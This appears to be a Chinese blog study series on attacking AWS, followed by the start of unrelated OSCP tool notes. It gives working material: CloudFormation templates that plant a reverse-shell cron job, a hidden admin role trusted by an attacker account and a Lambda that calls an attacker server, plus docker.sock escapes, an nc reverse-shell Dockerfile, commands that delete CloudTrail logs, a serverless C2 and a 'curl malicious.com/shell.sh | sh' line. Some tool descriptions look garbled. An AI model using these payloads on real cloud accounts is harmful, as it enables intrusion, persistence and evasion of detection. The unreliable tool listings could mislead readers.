这里的目的就是每两分钟执行一次后面的bash命令，用于反弹shell，主要的关注点在上面的那个ImageId，这个对应的是AMI ID，可能听起来有点抽象所以单出一行解释。

找到对应的地方AMI ID要的是一个模板，那么为什么非要模板呢？这个的原理就是新给你创建一个EC2实例并且运行，而他又不知道给你创建什么实例，就需要一个模板代号，其实也就是可以理解为一个镜像的编号，这个编号是固定的，你选了哪个，他就给你创建并启动哪个系统。可以看到上图有很多系统，选择其中一个编号填上去就行了，要注意，这个不是在原有的EC2上进行改动，它的原理就是找一个系统，自带的系统，确定好了就给你默认创建出来，然后启动，然后在运行你写入模板的命令，我们的命令是写入定时任务，他就会在开机的时候执行，就是这样，我看着其实感觉也有点鸡肋，但是这里正好能体现出CloudFormation权限危害性有多大。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


AWSTemplateFormatVersion: '2010-09-09'
Resources:
 MaliciousEC2:
 Type: AWS::EC2::Instance
 Properties:
 ImageId: "ami-0ef0a3b4303b17ec5"
 InstanceType: "t2.micro"
 UserData:
 Fn::Base64: |
 #!/bin/bash
 echo "*/2 * * * * root bash -i >& /dev/tcp/192.***.***.***/53 0>&1" >> /etc/crontab
 systemctl restart cron

上面是我的模板我填好了

3. 创建 IAM 角色，并允许攻击者 AssumeRole

攻击者可以创建 IAM 角色，并允许自己 AssumeRole，从而长期访问 AWS 账户：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


AWSTemplateFormatVersion: '2010-09-09'
Resources:
 HiddenIAMRole:
 Type: AWS::IAM::Role
 Properties:
 RoleName: "AWS-Support-Role"
 AssumeRolePolicyDocument:
 Version: "2012-10-17"
 Statement:
 - Effect: Allow
 Principal:
 AWS: "攻击者AWS账户ID"
 Action: "sts:AssumeRole"
 Policies:
 - PolicyName: "HiddenAdminPolicy"
 PolicyDocument:
 Version: "2012-10-17"
 Statement:
 - Effect: Allow
 Action: "*"
 Resource: "*"

执行方式

1

aws cloudformation create-stack --stack-name IAMBackdoor --template-body file://hidden-role.yaml

效果

创建 AWS-Support-Role角色，看起来像 AWS 官方支持账户，减少管理员怀疑。
攻击者账户可以随时 sts:AssumeRole，即使管理员删掉 AWS 账户中的用户，仍然可以访问 AWS！

4. 通过 Lambda 注入恶意代码

攻击者可以利用 CloudFormation 部署恶意 Lambda 函数，在 AWS 内部执行代码：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


AWSTemplateFormatVersion: '2010-09-09'
Resources:
 MaliciousLambda:
 Type: AWS::Lambda::Function
 Properties:
 FunctionName: "AWSMonitor"
 Runtime: "python3.8"
 Role: "arn:aws:iam::123456789012:role/LambdaExecutionRole"
 Handler: "index.lambda_handler"
 Code:
 ZipFile: |
 import os
 import subprocess
 def lambda_handler(event, context):
 subprocess.call("curl -X POST -d 'AWS Access Compromised' http://攻击者服务器", shell=True)
 return "Executed"

执行方式

1

aws cloudformation create-stack --stack-name LambdaBackdoor --template-body file://malicious-lambda.yaml

效果

创建 AWSMonitorLambda 函数，伪装成 AWS 监控工具，管理员不易察觉。
Lambda 运行时会向攻击者服务器发送数据，攻击者可以利用它来执行远程命令。

这里提一下 CloudFormation 重点是滥用，不用深入的去死学这个，甚至让AI给结果就可以的，但是Lambda里面的boto3库不一样，这个需要经常用，他可以干很多事情，必须学。

ECS容器逃逸

ECS 是 AWS 提供的 容器编排服务，你可以把它理解为 AWS 版的 Docker 管理平台，类似于 Kubernetes（但不完全一样）。

ECS 逃逸主要涉及两种模式：

ECS on EC2：基于 EC2 运行的 ECS，攻击目标是底层 EC2 实例。
ECS on Fargate：无服务器的 ECS 运行方式，目标是逃逸到 AWS 其他资源（如 IAM、S3 等）。

大纲

1. 容器特权模式(docker原生渗透技巧不做复现，仅搭建环境了解架构)

目标：利用 ECS 运行的 特权容器 逃逸到宿主机 攻击方式：

如果任务定义启用了 privileged: true，可以直接 chroot 进入宿主机
使用 cap_add: SYS_ADMIN 访问 ECS 宿主机 cgroup 或 /proc
运行 --privileged 容器，获得 ECS 宿主机 root 权限

2. 滥用 ECS 任务定义(重点)

目标：通过 ECS 任务定义配置错误执行恶意命令 攻击方式：

部署恶意镜像（包含反弹 shell）
在任务定义中添加环境变量凭据（窃取 AWS 访问密钥）
挂载 /var/run/docker.sock 访问宿主机 Docker API（Docker API 逃逸）

3. Mount 逃逸(docker原生渗透技巧不做复现)

目标：利用 --mount type=bind 访问 ECS 宿主机文件系统 攻击方式：

挂载 /root/.aws/credentials 访问 AWS 凭据
挂载 /etc/ 目录，获取 ECS 宿主机敏感配置
挂载 /var/lib/docker/，直接操作 Docker 文件系统，访问其他容器

4. API Credential 泄露(学习过了不做复现)

目标：ECS 任务可能包含 AWS IAM 角色凭据，导致云环境横向移动 攻击方式：

通过 ECS 容器访问 AWS 元数据服务

1

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

获取 ECS 任务的 IAM Role，利用 aws configure 进行 AWS API 访问
窃取 AWS 访问密钥，并尝试访问 S3、EC2、DynamoDB

特权容器逃逸

原理

特权模式 (--privileged)，挂载 /，访问 ECS 宿主机

环境搭建

本来已经复制粘贴了步骤，一步一步操作就行，但是实际上没那么简单，我在这里卡了一天，也学了一天的ECS的原理，架构非常非常厉害，所以学的时间有点久，正因如此我把原来的步骤删了，用图片来展示搭建环境的步骤。如果对这个服务感兴趣的，可以把我每个步骤都看一遍，了解一下原理，这个东西不是基础概念，学会下面的步骤其实也就会用这玩意了。

点击创建就行了下一步任务定义到后面搭建完了我会解释这些东西如何互相连接起来的架构是怎么样的

点击创建就行了下一步开特权模式(特权模式没有选项只能改json)

1

sleep,infinity

点击创建就行了错一步都可能失败特别是要注意命令那里要加上逗号我因为这个也卡了很久。

到了这一步先解释整体流程把，创建集群选择免费的EC2，安全组开启22端口，最小值设置为1，这样在你创建完集群的时候就会自动实例化一个EC2，那如果最小值还是默认的0呢？要不然你自己建一个EC2把自己添加到ECS里面，要不然每开一个刚刚那样的任务它就会自己建一个EC2并执行。可以看到如果最小值为0你想再开一个EC2作为docker的物理机有多麻烦。到此集群完了，再看看任务定义是什么玩意，任务定义主要是看你想运行什么样的东西，在里面定义好，这个需要多少的资源？需要什么镜像？映射什么服务？是否可以和AWSAPI交互？都可以定义的，可以知道这个就是定义你要运行什么样的docker服务，刚好集群主要是一堆docker，这里刚好定一个了一个docker的类型，接下来就要发布docker到集群当中，这也就是最后的发布任务那一处，我们将这个定义好的任务，发布任务到了创建的集群的EC2当中，并且还进行了命令覆盖，为什么要命令覆盖sleep infinity呢？

另起一行解释一下任务和服务的定义

其实任务就是运行完了就结束了，比如你要跑定时任务、机器学习训练任务等等这种一次性的任务，运行完就完事了，不需要一直跑着，当你要运行nginx之类的长时间的服务的时候，我们就需要创建服务了，这就是概念，这也就是我们为什么要写一个sleep infinity，让他一直延时，不然运行完立马就关闭了，你可以尝试一下不写sleep infinity，你会发现你提交任务之后，集群处马上就弹了一个任务已结束。其实两个本质上没啥区别，也不存在哪个方便哪个不方便的区别，主要是任务能更好的了解基础概念，逻辑性很强。后续也不搭建服务了。

整体来说还是非常复杂的，可能理解非常困难，不妨全部尝试搭建一边就能理解。

复现验证

SSH登录刚刚创建的EC2实例。

agent是自带的上面的那个才是我们创建的docker任务(如果不使用自动创建的方法来创建一个docker物理机自行配置的话是需要装上这个agent的)

因为我们刚刚配置好所以这里已经是特权模式了

到此为止，后面就是经典的docker特权模式逃逸了，感兴趣的百度google上都是答案，值得注意的一点是一般来说作为任务启动的amazonlinux有很多东西是没有的，他太小了，作为服务启动的话其实会多一点。正因如此任务启动的特权模式逃逸的一些命令可能并不存在。这里其实就是正常的docker方面的漏洞了，它的原理也是如此，ECS也就是类似于K8S的管理docker的工具，仅此而已。

补充部分

可能看到这里就觉得搭建了半天ECS，结果还是要复现docker本身的漏洞，那我还搭建干什么，烧脑又浪费时间，其实不是这样的，在环境搭建处，我们已经学习了ECS的搭建操作，学习了他的基础概念，了解了它的架构，云安全不只存在攻击，还有防御，很多人都说知道了攻击才知道如何防御，但前提是你得理解他的基础逻辑。比如SQL注入，你知道如何注入就知道如何防御，现在有一个WAF让你来阻拦SQL注入，那就写个规则，在与后端的数据库交互的接口处把’")全给他过滤了，攻击者发现了规则貌似就是过滤’")，用URL编码绕过之后依然能用union，select，sleep，substr等等等等查询，你发现了于是你又开始疯狂加正则加规则开始阻拦这些语句，攻击者也一直尝试绕过，但是发现了吗，底层原理依然是SQL语句的变形和编码绕过，当你真正理解了SQL注入这个漏洞的原理和逻辑，了解到了攻防双方是如何进步如何迭代更新的，才能发现攻防的核心，他们始终离不开最初的概念，这也就是为什么要亲自去搭建一次ECS了解它的概念和架构，云安全始终是攻防一体的。

滥用 ECS 任务定义

1、通过 ECS 任务定义配置错误，执行恶意命令或窃取凭据

2、利用 ECS 任务定义错误，获取 ECS 宿主机权限

3、通过 ECS 任务定义挂载宿主机 Docker API，访问其他容器

三种方法就不搭建环境了，解释是能看明白的，整体比较简单。

一. 部署恶意镜像

ECS 允许用户创建自己的 任务定义（Task Definition），然后从 ECR（Elastic Container Registry） 或 Docker Hub 拉取镜像运行。

如果攻击者能 创建或修改 ECS 任务定义，就能 部署带有后门的恶意镜像，比如：

镜像里内置反弹 Shell
镜像里内置 AWS 访问密钥
镜像里内置定时任务，定期上传敏感数据

攻击者上传恶意镜像

自己构建一个包含反弹 Shell 的镜像：

1
2
3


FROM ubuntu
RUN apt update && apt install -y netcat
CMD /bin/bash -c "while true; do nc -e /bin/bash attacker-ip 4444; sleep 10; done"

推送到自己的 ECR

1
2
3
4


docker build -t my-malicious-image .
aws ecr create-repository --repository-name evil-repo
docker tag my-malicious-image <aws-account-id>.dkr.ecr.us-east-1.amazonaws.com/evil-repo:latest
docker push <aws-account-id>.dkr.ecr.us-east-1.amazonaws.com/evil-repo:latest

修改 ECS 任务定义
把任务定义里的 image 改成恶意镜像：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


{
 "containerDefinitions": [
 {
 "name": "evil-container",
 "image": "<aws-account-id>.dkr.ecr.us-east-1.amazonaws.com/evil-repo:latest",
 "cpu": 512,
 "memory": 512,
 "essential": true
 }
 ]
}

提交 ECS 任务定义，并运行任务

1
2


aws ecs register-task-definition --cli-input-json file://evil-task.json
aws ecs run-task --cluster my-cluster --task-definition evil-task

攻击者远程控制 ECS 任务
ECS 任务启动后，会自动反弹 Shell：

1

nc -lvnp 4444

攻击者获得 ECS 容器控制权，可以继续攻击 ECS 宿主机或 AWS 资源

聊一下为什么被攻击者要使用我们的镜像呢，主要方法有三种可以配合来，供应链攻击（供应商镜像篡改）、镜像名称混淆攻击、AWS ECS任务定义错误。这些方法比较好理解，可以搜搜看，网上都有的。

二. 在任务定义中添加环境变量凭据

ECS 允许任务定义里使用 环境变量，如果管理员不小心在环境变量里 硬编码 AWS 密钥，攻击者就能获取这些密钥。

查看当前任务的环境变量

1

env

如果返回：

1
2


AWS_ACCESS_KEY_ID=AKIAXXXX
AWS_SECRET_ACCESS_KEY=XXXXXX

说明 ECS 任务把 AWS 密钥 写进了环境变量，攻击者可以直接使用。

三. 挂载 `/var/run/docker.sock` 访问宿主机

ECS 任务可以挂载宿主机的 docker.sock，如果管理员误配，攻击者就能 直接控制宿主机 Docker，逃逸到 ECS 宿主机。

在 ECS 任务定义里，挂载 docker.sock

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


{
 "containerDefinitions": [
 {
 "name": "privileged-container",
 "image": "ubuntu",
 "mountPoints": [
 {
 "sourceVolume": "docker-sock",
 "containerPath": "/var/run/docker.sock"
 }
 ]
 }
 ],
 "volumes": [
 {
 "name": "docker-sock",
 "host": {
 "sourcePath": "/var/run/docker.sock"
 }
 }
 ]
}

ECS 任务运行后，攻击者可以在容器里直接控制 Docker
进入容器

1

docker exec -it ecs-privileged-container /bin/bash

使用 docker.sock控制 ECS 宿主机

1
2


docker -H unix:///var/run/docker.sock ps
docker -H unix:///var/run/docker.sock run -it --privileged ubuntu bash

攻击者创建新的特权容器，实现 ECS 容器逃逸

1
2


docker -H unix:///var/run/docker.sock run -it --privileged -v /:/host ubuntu bash
chroot /host

ECS on Fargate 渗透 & 逃逸

之前提到的所有情况都是EC2作为docker宿主机运行的利用，实际上都是原生docker的漏洞利用，没有什么特别的，然后就是滥用的部分这里涉及到了一点AWS方面的利用技巧，实际上就这么点东西。那我们没有用过的Fargate选项到底是什么呢？他其实是一个AWS无服务器容器，不需要自己管理 EC2，AWS自动帮你管理，那么这里该如何渗透呢？根据上面我们的理解其实能发现完全没有渗透的路径，想要突破AWS Fargate的基础设施对于我们来说就是天方夜谭，所用到的方法其实还是基础的方法，docker方面的漏洞就不用想了不会给特权模式之类的。不卖关子了其实非常简单，记一下就行了。

Fargate 任务运行时，AWS 会自动给它分配 IAM Role，用于访问 AWS 资源。Fargate 任务内部可以访问 元数据服务（IMDSv2），获取 临时访问凭据。ECS元数据利用，去翻命令就行了，这里放个原理看看。
Fargate 任务的任务定义（Task Definition）可能包含环境变量、挂载的敏感文件，如果管理员配置错误，攻击者可以获取AWS 访问密钥、读取数据库密码、访问敏感 S3 资源。其实就是env看看能不能找到密钥，找一下 /root/.aws/credentials，find / -name “*.pem"等文件。
Fargate 任务可以运行在 公有子网 或 私有子网，如果管理员配置错误:

攻击者可以通过 Fargate 任务，访问 AWS VPC 内部服务
攻击者可以通过 Fargate 任务，访问其他 AWS 资源
攻击者可以使用 Fargate 任务，作为代理服务器

查找 Fargate 任务的网络配置

1
2


ip a
route -n

如果 eth0 绑定了 VPC CIDR，则说明 Fargate 任务运行在私有子网
如果 route -n 里 存在 0.0.0.0/0，说明 Fargate 任务可以访问外网
使用 Fargate 任务访问 AWS 内部资源

1
2


nc -z -v internal-rds.amazonaws.com 3306
nc -z -v internal-elasticsearch.amazonaws.com 9200

使用 Fargate 任务，建立反向代理

1

ssh -R 8080:internal-rds.amazonaws.com:3306 attacker@remote-server

第三条稍微复杂一点，这里单开一行解释一下，VPC不是可以配很多网络配置吗，如果各种子网当中运行着各种各样的AWS服务，我们就可以搭建隧道去访问，相当于进了目标AWS账户的云方面的内网环境了吧，可以这么理解，里面可能有一堆EC2，也可能有其他东西，云横向移动就行了。

ECS容器利用补充

滥用ECS Exec功能

正常用途： AWS ECS Exec 旨在提供调试能力，允许运维人员通过 AWS CLI 或控制台直接进入容器执行命令（如检查日志、调试服务）。
核心依赖：

任务定义需启用 "enableExecuteCommand": true。
执行者需拥有 ecs:ExecuteCommand IAM 权限。

攻击场景与利用条件

攻击前提

权限泄露：攻击者获取了具有 ecs:ExecuteCommand 权限的 IAM 凭证（如开发人员账号、过度授权角色）。
任务配置错误：任务定义中启用了 enableExecuteCommand，且未限制相关权限。

枚举可执行的任务：

1
2
3
4
5
6


# 列出所有 ECS 集群
aws ecs list-clusters
# 列出集群中的任务
aws ecs list-tasks --cluster <CLUSTER_NAME>
# 检查任务是否启用了 Exec
aws ecs describe-tasks --cluster <CLUSTER> --tasks <TASK_ID> | grep "enableExecuteCommand"

通过 Exec 进入容器：

1
2
3
4
5
6
7


# 使用 AWS CLI 执行命令（例如启动交互式 Shell）
aws ecs execute-command \
 --cluster <CLUSTER_NAME> \
 --task <TASK_ID> \
 --container <CONTAINER_NAME> \
 --command "/bin/sh" \
 --interactive

若成功，攻击者将获得容器内的 Shell 权限。

高级攻击手法结语

到这里基本上所有的AWS渗透部分都已经实现完了，高级手法明显比前面难很多，可以感觉到前面的那些都是在学习基础的服务利用方法，基础的渗透流程等等，高级攻击手法则是各种服务的配合。

比如AWSCLI凭证泄露，基础部分仅仅是学某个权限是干什么的，该如何复现，如何利用这个权限来渗透，而高级部分更多的是找到泄露，进行提权，进行持久化，像基础的部分直接一笔带过，它只会提到有什么权限，什么权限和什么权限能组合来进行渗透，没有那种一个服务扯很久的感觉了，如大纲标题，利用手法，思路加方法的结合。

还有CloudFormation恶意模板，可能学的时候觉得，这跟之前也没啥区别啊，不也是学习CloudFormation里面的所有服务吗？但是学习的前提你得了解所有服务的特性，我们知道CloudFormation模板可以进行渗透，能获得很多权限，那么你知道该如何创建高权限的用户/角色吗，这个模板运行是无回显的，该如何获得生成的key，它更像所有服务渗透的集合，而你只需要一个载体，这个载体就是CloudFormation模板，他可以控制所有AWS服务，而你学的前提是得会所有的AWS服务。

最后一个ECS容器，这个我在ECS容器逃逸最后写了一些话，可能都知道要学这个东西的渗透的话其实也就是针对docker渗透，也都知道ECS类似于K8S，但是ECS是云上的东西，它不仅仅是只针对docker访问的渗透，还有云相关的，学习完搭建的人肯定都知道ECS的搭建有点复杂，这也侧面的说明架构做的非常好，学习AWS云安全不能光学攻击手法，学命令，如果不理解背后的逻辑是不太好的，当你搭建了一下ECS踩了一堆坑的时候，当你终于搭建成功的时候，就理解了这个服务背后的原理。

实际上攻防不分家，互相都学对于理解非常重要，这意味着你不光可以做蓝还可以做红，相互成长，并且到此为止，学习了很多的AWS服务方面的东西，也知道了AWS实际上用免费的也可以做很多事情，正如我AWS基础概念所说的，你已经可以尝试搭建一个站点？搭建一个存储桶存文件？等等都是可以的，这一节讲了很多渗透相关的，说明你在搭建完之后，可以尝试给自己的AWS服务做基线了，了解了如何攻击，就知道防御该注重哪些方面了。

这里AWS渗透还剩最后一个重要的模块 —– 防御绕过技术

防御绕过技术

这里非常的难，但是用处也很大，大部分只会列个标题和原理，实现有点困难，有大神可以自行实现一下，我在后续的学习完成之后，也会往这个方面靠近。

AWS 具有多种安全监控和日志记录机制，比如：

GuardDuty（入侵检测） CloudTrail（API 事件日志） VPC Flow Logs（流量监控） AWS Config（合规性监控）

攻击者的目标 是：绕过这些监控机制，隐藏恶意操作。

GuardDuty 绕过技术

低频率 API 调用

原理： AWS GuardDuty 基于机器学习模型检测异常 API 活动（如高频操作、跨区域调用）。通过 降低敏感操作频率（如每小时一次），可规避基于统计的检测规则。
操作示例：

1
2
3
4
5


# 每小时窃取一次 S3 对象列表
while true; do
 aws s3 ls s3://sensitive-bucket --region us-west-1 >> /tmp/result.txt
 sleep 3600 # 间隔 1 小时
done

防御检测：

启用 GuardDuty 的 威胁列表（Threat Lists），标记已知恶意 IP。
使用 Security Hub 自定义规则，匹配低频敏感操作（如每小时执行 iam:CreateUser）。
分析 CloudTrail 日志的 时间序列模式，识别周期性行为。

利用合法服务代理流量

原理：通过 AWS 原生服务（如 Lambda、API Gateway）转发恶意流量，使 GuardDuty 将攻击流量识别为合法服务行为。
操作示例（Lambda 代理 C2）：

创建恶意 Lambda 函数：

1
2
3
4
5
6


import os
def lambda_handler(event, context):
 # 从 API Gateway 接收 Base64 编码的命令
 command = event['queryStringParameters']['cmd']
 result = os.popen(command).read()
 return {'statusCode': 200, 'body': result}

通过 API Gateway 触发：

1
2


# 发送加密命令（避免日志明文记录）
curl "https://xxx.execute-api.region.amazonaws.com/prod?cmd=$(echo 'whoami' | base64)"

防御检测：

监控 Lambda 冷启动频率 和 执行时间异常（如长时间运行的函数）。
启用 VPC 流量镜像，捕获 Lambda 函数的出站流量。
使用 GuardDuty 的 Backdoor:EC2/LambdaClient 规则检测可疑函数调用。
加密方式可以自定义，RSA、AES都是可以的。

CloudTrail 日志删除

删除指定日志轨迹

操作命令：

1
2
3
4


# 删除默认 CloudTrail
aws cloudtrail delete-trail --name Default
# 停止日志记录
aws cloudtrail stop-logging --name Default

绕过效果：阻止新日志生成，但 历史日志仍存储在 S3 桶 中（需额外清理）。
防御措施：

启用多区域日志记录（Multi-Region Trail）：防止单区域日志被删除。
启用 S3 版本控制 + MFA 删除：防止日志文件被覆盖。
限制 IAM 权限：禁止非管理员用户操作 cloudtrail:DeleteTrail 和 cloudtrail:StopLogging。

历史日志擦除

操作示例：

1
2
3
4
5


# 有专门用于日志的存储桶的 一定要找到再清除 不要乱删
# 清空关联的 S3 日志桶
aws s3 rm s3://cloudtrail-bucket --recursive
# 删除 S3 桶
aws s3 rb s3://cloudtrail-bucket --force

防御措施：

配置 S3 对象锁定（Object Lock），设置日志文件为不可删除。
启用 AWS Organizations 的 Service Control Policy（SCP），禁止成员账户修改日志配置。

IP 隐匿（无服务器 C2）

Lambda + API Gateway 反向代理

架构设计：

攻击者 → API Gateway → Lambda（转发请求） → 受控容器/EC2 → S3 存储桶（存储结果）

操作步骤：

创建 Lambda 转发器

1
2
3
4
5
6
7
8
9


import boto3
def lambda_handler(event, context):
 s3 = boto3.client('s3')
 # 从 API Gateway 接收指令并写入 S3
 cmd = event['queryStringParameters']['cmd']
 s3.put_object(Bucket='c2-bucket', Key='commands/latest', Body=cmd)
 # 读取执行结果
 response = s3.get_object(Bucket='c2-bucket', Key='results/latest')
 return {'statusCode': 200, 'body': response['Body'].read()}

容器内定时拉取指令

1
2
3
4
5
6
7


# 受控容器中的定时任务
while true; do
 aws s3 cp s3://c2-bucket/commands/latest - > /tmp/cmd.sh
 sh /tmp/cmd.sh > /tmp/result.txt
 aws s3 cp /tmp/result.txt s3://c2-bucket/results/latest
 sleep 300
done

隐匿性优势：

所有通信经过 AWS 内部网络，源 IP 显示为 lambda.amazonaws.com。
API Gateway 支持 HTTPS 加密，流量特征与正常业务无异。

这个有点复杂了但是非常好用(学boto3库才行)，相当于无服务器C2，主要目的是控制目标的容器或者EC2的同时不被发现，而且架构上面有写，攻击者通过API来控制Lambda转发器，那么这个API Gateway是啥呢？其实就是一个触发器，能找到的，定义好触发器之后，可以在URL后面跟上命令。

1

curl -X GET "https://xxx.execute-api.region.amazonaws.com/prod?cmd=bHMgaS9ldGM="

这样就相当于把命令代入到了cmd当中。再看看接收的json呢。

1
2
3
4
5
6
7
8
9


# Lambda 函数收到的 event 结构示例
{
 "queryStringParameters": {
 "cmd": "bHMgaS9ldGM=" # "ls /etc" 的 Base64 编码
 }
}

# 找到了base64编码的命令的位置 所以在脚本里面定义的就是
# cmd = event['queryStringParameters']['cmd']

当然还需要base64解码什么的，没有写进去。总之Lambda收到了命令，然后Lambda的代码自动将这个这条命令写入了存储桶 results/latest 这个位置，命令存储完成了，被控EC2如何执行命令呢？有个定时任务每隔1个小时？半个小时？都是可以的，定时任务主要是下载 results/latest 这里的文件并命名为xxxx.sh，然后执行并将结果写入/tmp/result.txt，然后重新上传到S3的存储通当中可能就在 results/result.txt ，在哪都可以，那该如何读取呢？如果直接读取还是要被发现，那其实还是可以用Lambda+API Gateway，设置一个API触发器，不需要参加任何参数，访问了就自动返回S3存储桶里的 results/result.txt 这个位置的文件的内容回来，这样的架构就非常完美了。

这只是其中一条路径，靠这条路径实际上可以加非常非常多的东西，也可以根据这个思路扩展很多方法。再看看防御方面的吧。

检测点：

API Gateway 请求频率：高频调用可能触发 GuardDuty 的 TTP:Discovery/CloudApis。
S3 存储桶访问模式：同一路径（如 commands/latest）的频繁覆盖操作。

防御建议：

启用 S3 存储桶的 访问日志 和 对象版本控制，追踪文件变更。
监控 Lambda 函数的 执行次数 和 S3 写入操作，设置阈值告警。
使用 Macie 自动扫描 S3 中的敏感数据（如 result.txt 中的密钥）。

AWS渗透自动化工具

1. 云环境侦察 & 资产发现

(1) Pacu

用途：AWS 全环境攻击框架，支持 权限提升、后门植入、数据泄露 等模块化攻击。
功能亮点：

自动枚举 IAM 权限、S3 存储桶、EC2 实例等。
模拟攻击链（如通过 iam__privesc_scan 扫描提权路径）。

项目地址： https://github.com/RhinoSecurityLabs/pacu
使用示例：

1
2
3
4


# 初始化并配置 AWS 密钥
pacu
set_keys
run iam__privesc_scan # 扫描 IAM 权限提升路径

(2) CloudMapper

用途：可视化分析 AWS 环境（VPC、IAM、S3 等），生成 网络拓扑图。
功能亮点：

绘制跨区域 VPC 连接关系。
标记公开的 S3 存储桶和 EC2 安全组。

项目地址： https://github.com/duo-labs/cloudmapper
使用示例：

1
2


python3 cloudmapper.py collect --account my-account
python3 cloudmapper.py report --account my-account

2. 权限提升 & 漏洞利用

(1) WeirdAAL

用途：自动化检测 AWS API 权限滥用（如 sts:AssumeRole、iam:CreateUser）。
功能亮点：

快速扫描 IAM 策略中的危险权限。
生成可复现的攻击代码（Python）。

项目地址： https://github.com/carnal0wnage/weirdAAL
使用示例：

1

python3 weirdAAL.py -m iam_createaccesskey

(2) AWS PWN

用途：自动化提权工具，覆盖 EC2、Lambda、S3 等服务的 20+ 提权路径。
功能亮点：

检测 EC2 实例角色权限滥用。
利用 Lambda 函数执行代码并窃取元数据。

项目地址： https://github.com/dagrz/aws_pwn
使用示例：

1

python3 aws_pwn.py --profile victim-profile --module lambda_backdoor

3. 存储桶 & 数据泄露

(1) S3Scanner

用途：批量扫描公开的 S3 存储桶，并检测敏感文件（如 credentials、config）。
功能亮点：

支持自定义关键词过滤（如 AKIA、secret）。
导出可读报告（CSV/JSON）。

项目地址： https://github.com/sa7mon/S3Scanner
使用示例：

1

python3 s3scanner.py --bucket names.txt --keywords secrets.txt

(2) bucket-stream

用途：实时监控新创建的 S3 存储桶，并检测公开访问权限。
功能亮点：

结合 CertStream 监听域名变化，发现关联存储桶。
自动标记高风险存储桶（如 website 模式）。

项目地址： https://github.com/eth0izzle/bucket-stream
使用示例：

1

python3 bucket-stream.py --firehose

4. 横向移动 & 后门植入

(1) Cloudsplaining

用途：分析 IAM 策略中的过度权限，生成 攻击路径图。
功能亮点：

标记可提权的 iam:PassRole 和 sts:AssumeRole 权限。
输出 HTML 可视化报告。

项目地址： https://github.com/salesforce/cloudsplaining
使用示例：

1
2


cloudsplaining download --profile default
cloudsplaining scan --input-file default.json

(2) Lambda-Proxy

用途：基于 Lambda 和 API Gateway 的 无服务器反向代理，实现隐蔽 C2 通信。
功能亮点：

支持 HTTPS 加密流量。
动态生成随机 API 路径，规避 WAF 检测。

项目地址： https://github.com/pumasecurity/lambda-proxy
使用示例：

1
2


serverless deploy --stage prod # 部署到 AWS
curl https://xxx.execute-api.region.amazonaws.com/prod/command?cmd=whoami

5. 日志清理 & 反检测

(1) CloudTrail Mutator

用途：自动化清理 CloudTrail 日志，删除指定事件记录。
功能亮点：

支持模糊匹配关键字（如 DeleteTrail、StopLogging）。
绕过多区域日志备份机制。

项目地址： https://github.com/Anon-Exploiter/CloudTrail-Mutator
使用示例：

1

python3 cloudtrail_mutator.py --profile target --filter "DeleteTrail"

(2) GuardDog

用途：模拟 GuardDuty 检测逻辑，测试攻击手法的可检测性。
功能亮点：

生成模拟攻击事件（如 PenTest:IAMUser/KaliLinux）。
输出 GuardDuty 告警概率评估。

项目地址： https://github.com/DataDog/guarddog
使用示例：

1

guarddog simulate --attack "S3:GetObjectAnonymously"

6. 高级隐秘通信

(1) AWS Lambda C2

用途：完全基于 Lambda 和 S3 的 无服务器 C2 框架，支持加密指令传递。
功能亮点：

指令分片存储，规避频率检测。
结果自动清理，减少日志残留。

项目地址： https://github.com/0x4D31/aws-lambda-c2
使用示例：

1
2
3
4


# 部署后门
python3 deploy.py --region us-west-1
# 发送指令
python3 c2-client.py --command "curl http://malicious.com/shell.sh | sh"

(2) S3C2

用途：利用 S3 存储桶作为 隐蔽通信信道，支持文件传输和命令执行。
功能亮点：

使用预签名 URL 动态更新指令。
AES-256 加密通信内容。

项目地址： https://github.com/blackhat/secutils
使用示例：

1

./s3c2-client.py --bucket my-c2-bucket --get-command

AWS云安全结语

至此AWS渗透算是完结了，可能会有一部分渗透技巧没有提到，但是大部分技巧我相信都在这里了，特别是最后一条的防御绕过技术，这已经是红队对抗云环境的高级手法了，而你仅仅需要学会Lambda其中一种语言，学会调用AWS资源就行，就可以开发无服务器C2了，会写python可以用RSA/AES加密通信，会JAVA也可以序列化命令，总之晚点被发现就行。需要学的部分已经完成，如果以后从事的工作存在AWS云安全能深入参与其中的话(貌似只有国外才有这个岗位 :）)，还能更发展一步，后边更要靠的是自己去发掘了，实操和对服务的理解已经非常好了，还差理论方面的知识，学完这些东西就可以准备去考AWS Certified Security证书了，理论加实操才能更好的发展。

目前还差对boto3的库的学习，CloudFormation模板的基本写法，了解其他云厂商例如aliyun等的区别在哪就差不多了。

OSCP Exploit 综合笔记

Sat, 04 Jan 2025 12:50:00 +0800

1.cewl

详细教程：【工具使用】— cewl_通地塔的博客-CSDN博客

引用其他师傅的博客

我的话只记录两条常用的

cewl http://192.168.15.146/ -w dict.txt #进行爬取该页面内容生成在当前文件夹生成字典

cewl http://192.168.15.146/ -n -e #爬取邮箱

2.netdiscover

网络扫描工具（kali-路由分析）

能够迅速的探测存活主机，如果单用nmap或者masscan扫全段，会很慢，这个探测出来之后在详细扫描会快一些。

netdiscover -i eth0 -r 192.168.1.0/24

3.gobuster

相比于dirb和御剑我觉得好一点的工具，dirb很强，但是太慢了，字典太大还会卡

我用的珍藏版御剑只能指定一些爆破目录，虽然可以自己修改他的原生字典，但是无法将后缀为.php/.html等等加在后面，也就是说字典什么样他就只能爆破什么样

gobuster dir -u http://192.168.1.7:33447 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt -k -t 50 -u http://doctors.htb/

4.foremost

Kali Linux提供一款还原专用工具Foremost。该工具通过分析不同类型文件的头、尾和内部数据结构，同镜像文件的数据进行比对，以还原文件。

foremost strcpy.exe

5.sudo

sudo -l ：提权方面先sudo -l 可以看到可以使用哪些用户的命令然后对应执行

sudo -s ：可以输入密码尝试临时获得高权限root账户

6.SUID提权

查找一些可以sudo的命令在linux提权查找对应命令进行提权

find / -perm -u=s -type f 2>/dev/null

find / -group pinky 2>/dev/null #看一下当前某个工作组的可以执行文件也可以找些东西

